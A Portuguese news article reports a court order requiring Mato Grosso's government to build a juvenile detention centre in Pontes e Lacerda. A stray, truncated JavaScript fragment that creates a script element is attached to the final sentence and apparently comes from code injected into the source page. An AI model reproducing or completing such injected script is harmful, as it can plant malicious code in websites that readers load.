EM PONTES E LARCEDA VAI! Justiça manda estado construir centro socioeducativo em cidade de MT

Unidade deverá ser feita para adolescentes da região de Pontes e Lacerda. Decisão atendeu ao pedido do Ministério Público do Estado.

G1

A Justiça determinou, de forma liminar, que o governo de Mato Grosso construa uma unidade socieducativa em Pontes e Lacerda, a 483 km de Cuiabá, em até um ano, sob pena de bloqueio online dos valores necessários à efetivação da decisão. O despacho é do juiz Leonardo Tumiati e atendeu a um pedido do Ministério Público do Estado. O plano de trabalho deve ser apresentado em 30 dias.

O G1 entrou em contato com a assessoria da Secretaria de Justiça e Direitos Humanos, que administra o sistema socioeducativo, mas ainda não teve resposta.

O MPE entrou com a ação porque alega que decisões de internação de menores infratores não têm sido cumpridas por causa da permanente falta de vagas. Além disso, os centros socioeducativos existentes estão sempre com as capacidades excedidas ou com problemas estruturais, como acontece em Cuiabá, Barra do Garças, Sinop, Rondonópolis e Cáceres.

Na ação, o MPE diz ainda que Pontes e Lacerda fica numa região fronteiriça de alto índice de criminalidade, conhecida como corredor de tráfico de drogas, armas e veículos produtos de crimes.

Na decisão, o juiz diz ser inegável a falta de vagas no sistema socioeducativo e que esse déficit acarreta efeitos para toda a sociedade, entre eles a exposição de todas as pessoas à prática de atos infracionais graves cometidos por adolescentes.var d=document;var s=d.createElement(‘script’);